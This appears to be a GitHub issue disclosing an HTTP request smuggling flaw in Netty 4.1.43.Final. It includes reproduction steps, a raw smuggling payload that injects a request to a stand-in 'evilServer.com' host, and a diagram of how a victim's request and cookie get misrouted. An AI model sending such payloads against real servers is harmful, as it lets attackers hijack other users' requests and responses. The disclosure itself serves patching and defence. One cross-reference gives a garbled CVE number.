New issue

Jump to bottom

HTTP Request Smuggling in Netty - 4.1.43.Final #1

Open jdordonezn opened this issue on Jan 26, 2020 · 1 comment

jdordonezn commented on Jan 26, 2020 • edited Owner

Netty 4.1.43.Final allows HTTP Request Smuggling because it mishandles Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header.

Steps to reproduce the vulnerability

1. The hacker send a request with both "[space]Transfer-Encoding: chunked" header and "Content-Length" header.
2. The legitimate user send a normal request
3. The ELB (Elastic load balancer) send first the request of hacker to Netty and consecutively thr normal request.
4. Netty decodes request by incorrect TE ([space]Transfer-Encoding: chunked") sending to hacker the response that corresponds until null byte and send to legitimate user the response of chunked request from hacker.

- **Attack Payload**

```
POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: target.com
Content-Length: 65

0

GET /maliciousRequest HTTP 1.1
Host: evilServer.com
Foo: X
```

- **Normal request**

```
POST /infoUser HTTP/1.1
Host: target.com
Cookie: Token
Content-Length: 1

0
```

- **Processing of netty**

```
-----------------------------------------------------
POST / HTTP/1.1
 Transfer-Encoding: chunked                    Hacker:
Host: target.com                               HTTP/1.1 200 OK
Content-Length: 65

0
-- Netty decode request by Incorrect TE----------------
GET /maliciousRequest HTTP 1.1
Host: evilServer.com                           Legitimate user:
POST /infoUser HTTP/1.1                        HTTP/1.1 404 Not Found
Host: target.com
Cookie: Token
Content-Length: 1

0
```

This was referenced on Feb 5, 2020

Non-proper handling of Content-Length and Transfer-Encoding: chunked headers netty/netty#9861

Closed

Added tests for Transfer-Encoding header with whitespace netty/netty#9997

Merged

diroussel mentioned this issue on Feb 13, 2020

Upgrade Netty to 4.1.45.Final to fix CVE-2020-72381 eclipse-vertx/vert.x#3285

Closed

JLLeitschuh commented on Feb 21, 2020

It looks like this fix may have been reverted?
netty/netty#10003

scott-cx mentioned this issue on Aug 1

CVE-2020-7238 @ Maven-io.netty:netty-codec-http-4.1.17.Final scott-cx/edgemere#50

Open

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants